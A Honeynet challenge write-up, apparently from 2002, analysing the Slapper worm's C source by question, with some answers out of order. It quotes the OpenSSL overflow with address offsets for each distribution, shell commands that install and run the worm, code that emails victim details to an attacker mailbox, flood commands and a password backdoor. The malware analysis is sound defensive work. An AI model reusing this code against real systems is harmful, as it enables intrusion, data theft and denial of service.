BACK
Question 5. The worm scans for victim machines by trying to
establish a TCP connection on port 80.
#define SCANPORT 80
atcp_sync_connect(&clients[n],srv,SCANPORT);
BACK
Question 6. To get onto a machine, the worm exploits a buffer overflow
vulnerability in OpenSSL. First, the worm sends a malformed HTTP request that
does not contain a host request header.
sin.sin_port = htons(80);
if(connect(sock, (struct sockaddr *) & sin, sizeof(sin)) != 0)
return NULL;
write(sock,"GET / HTTP/1.1\r\n\r\n",strlen("GET /
HTTP/1.1\r\n\r\n"));
This request is used to get version
information about the system and Apache in order to determine if the system is
vulnerable to the buffer overflow. The returned message will be an HTTP 400 Bad
Request Reply in which the field "Server" contains the Apache version. The
following code is how the worm reads the Bad Request Reply and determines if the
system's software is vulnerable.
if ((a=GetAddress(ip)) == NULL) exit(0);
if (strncmp(a,"Apache",6)) exit(0);
for (i=0;i < MAX_ARCH; i++) {
if (strstr(a,architectures[i].apache) &&
strstr(a,architectures[i].os)) {
arch=i;
break;
}
}
The array architectures[] is the list of vulnerable OSes. Only
certain Linux distributions are vulnerable to this attack; Windows, Macintosh,
and other Unix variants, including FreeBSD, are immune to this attack:
#undef FREEBSD
architectures[] = {
{"Gentoo", "", 0x08086c34},
{"Debian",
"1.3.26", 0x080863cc},
{"Red-Hat", "1.3.6", 0x080707ec},
{"Red-Hat",
"1.3.9", 0x0808ccc4},
{"Red-Hat", "1.3.12", 0x0808f614},
{"Red-Hat",
"1.3.12", 0x0809251c},
{"Red-Hat", "1.3.19", 0x0809af8c},
{"Red-Hat",
"1.3.20", 0x080994d4},
{"Red-Hat", "1.3.26", 0x08161c14},
{"Red-Hat",
"1.3.23", 0x0808528c},
{"Red-Hat", "1.3.22", 0x0808400c},
{"SuSE",
"1.3.12", 0x0809f54c},
{"SuSE", "1.3.17", 0x08099984},
{"SuSE",
"1.3.19", 0x08099ec8},
{"SuSE", "1.3.20", 0x08099da8},
{"SuSE",
"1.3.23", 0x08086168},
{"SuSE", "1.3.23", 0x080861c8},
{"Mandrake",
"1.3.14", 0x0809d6c4},
{"Mandrake", "1.3.19", 0x0809ea98},
{"Mandrake",
"1.3.20", 0x0809e97c},
{"Mandrake", "1.3.23", 0x08086580},
{"Slackware",
"1.3.26", 0x083d37fc},
{"Slackware", "1.3.26",0x080b2100}
};
If the Linux distribution does not match one of these, RedHat
1.3.23 is used as the default. The following shows that if an error occurs (the
system's distribution does not match one from the list), the default is used.
if (arch == -1) arch=9;
Next, if the worm can connect to the machine, it establishes a a
SSLv2 connection and sends an overly large client key to cause a buffer
overflow.
overwrite_next_chunk[FINDSCKPORTOFS] = (char)
(port & 0xff);
overwrite_next_chunk[FINDSCKPORTOFS+1] = (char) ((port
>> 8) & 0xff);
*(int*)&overwrite_next_chunk[156] =
cipher;
*(int*)&overwrite_next_chunk[192] = architectures[arch].func_addr
- 12;
*(int*)&overwrite_next_chunk[196] = ciphers +
16;
send_client_hello(ssl2);
get_server_hello(ssl2);
send_client_master_key(ssl2, overwrite_next_chunk,
sizeof(overwrite_next_chunk)-1);
After the buffer overflow
occurs, the worm instatiates a bash shell in order to install itself onto the
victim host.
sh(ssl2->sock);
int sh(int sockfd) {
char localip[256], rcv[1024];
fd_set rset;
int maxfd, n;
alarm(3600);
conv(localip,256,myip);
memset(rcv,0,1024); // aion
writem(sockfd,"export TERM=xterm;export HOME=/tmp;export HISTFILE=/dev/null;"
"export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin;" "exec bash -i\n");
BACK
writem(sockfd,"rm -rf /tmp/.unlock.uu /tmp/.unlock.c /tmp/.update.c "
Question 4. After gaining shell access, the worm removes any
old files from a previous infection by the worm. Then it uuencodes the worm into
.unlock.uu in order to send the worm to the victim. Once the victim receives the
.unlock.uu, it is decoded and the following files are placed in the victim's
/tmp directory: .unlock.c and .update.c, both of which are compiled on the
victim's system.
"
/tmp/httpd /tmp/update /tmp/.unlock; \n");
writem(sockfd,"cat >
/tmp/.unlock.uu << __eof__; \n");
zhdr(1);
encode(sockfd);
zhdr(0);
writem(sockfd,"__eof__\n");
writem(sockfd,"uudecode -o
/tmp/.unlock /tmp/.unlock.uu; "
"tar xzf /tmp/.unlock -C /tmp/; "
"gcc
-o /tmp/httpd /tmp/.unlock.c -lcrypto; "
"gcc -o /tmp/update
/tmp/.update.c;\n");
sprintf(rcv, "/tmp/httpd %s; /tmp/update; \n",localip);
writem(sockfd,rcv);
Next, the worm removes .unlock.uu,
.unlock.c, and .update.c, leaving httpd and update on the victim, both of which
are then executed.
writem(sockfd,"rm -rf /tmp/.unlock.uu
/tmp/.unlock.c /tmp/.update.c "
" /tmp/httpd /tmp/update; exit;
\n");
BACK
Question 3. The worm's process name is "httpd ".
#define PSNAME "httpd "
strcpy(argv[0],PSNAME);
BACK
Question 7. When the worm
infects the machine, it sends the hostname and host id of the infected machine
along with the IP address of the machine from which the attack came. This
information is then E-mailed to aion@ukr.net using the freemail.ukr.net mail
server.
#define MAILSRV
"freemail.ukr.net"
#define MAILTO "aion@ukr.net"
int mailme(char
*sip) {
gethostname(buffer,128);
sprintf(cmdbuf,"helo test\r\n");
writem(pip, cmdbuf);
recv(pip,cmdbuf,sizeof(cmdbuf),0);
sprintf(cmdbuf,"mail from: test@microsoft.com\r\n");
writem(pip, cmdbuf);
recv(pip,cmdbuf,sizeof(cmdbuf),0);
sprintf(cmdbuf,"rcpt to:
"MAILTO"\r\n"); writem(pip, cmdbuf);
recv(pip,cmdbuf,sizeof(cmdbuf),0);
sprintf(cmdbuf,"data\r\n");
writem(pip, cmdbuf);
recv(pip,cmdbuf,sizeof(cmdbuf),0);
sprintf(cmdbuf," hostid: %d \r\n"
" hostname: %s
\r\n"
" att_from: %s \r\n",gethostid(),buffer,sip);
/* sip is argv[1], which is the IP address of the
/* other machine on the virtual network */
Question 8. The worm is unique in that it creates a virtual
peer-to-peer network. The machines are able to communicate and coordinate
attacks by communicating through port 4156 using the UDP protocol. The
followining code segments show the port number being defined, the udpserver
being declared, and the functions for relaying and listening for UDP messages.
#define PORT 4156
struct
ainst udpserver;
audp_relay(&udpserver,&ts,srv,PORT);
if
(audp_listen(&udpserver,PORT) != 0) {
printf("Error:
%s\n",aerror(&udpserver));
return 0;
}
Question 9. With this peer-to-peer network, three different
types of attacks can be carried out in a coordinated fashion. They are a UDP
flood, a TCP flood for either IPv4 or IPv6, and a DNS flood. The code below
shows the four attack types being declared.
case 0x29: { // Udp flood
case 0x2A: {
// Tcp flood
case 0x2B: { // IPv6 Tcp flood
case 0x2C: { // Dns
flood
BACK
Question 10. .update.c is a password-protected
backdoor that gives an interactive shell when someone logs into it and supplies
the password "aion1981". The backdoor's process name is "update ",
and it listens on port 1052.
#define PORT 1052
#define PASS "aion1981"
#define PSNAME "update " // what copy to argv[0]
strcpy(argv[0],PSNAME);
serv_addr.sin_port = htons(PORT);
if( !strncmp(temp_buff,PASS,strlen(PASS)) )
execl("/bin/sh","sh -i",(char *)0);
BACK
Question 11. "update
" only listens for 10 seconds (defined by UPTIME) at a time, and
then it sleeps for 5 minutes (defined by SLEEPTIME). The code below shows that a
'for' loop that accepts incoming connections runs for 10 seconds, but after the
for loop finishes, the process sleeps for 5 minutes.
#define SLEEPTIME 300 // sleep 5 min.
#define UPTIME 10 // listen 10 sec.
for(stimer=time(NULL);(stimer+UPTIME)>time(NULL);)
{
soc_cli = accept(soc_des,
(struct
sockaddr *) &client_addr, sizeof(client_addr));
sleep(SLEEPTIME);
IV. Concluding Remarks
The equpiment used for this challenge was a 600MHz Pentium
II with 192MB RAM running Windows XP Professional and, through VMware
Workstation 3.2, RedHat Linux 8.0.
The team members here at NCSU would
like to thank the Honeynet.BR team for this month's fun and unique challenge.
Joe Sremack (jcsremac@unity.ncsu.edu) and Jim Yuill (jimyuill@pobox.com)
North Carolina State University
November 27, 2002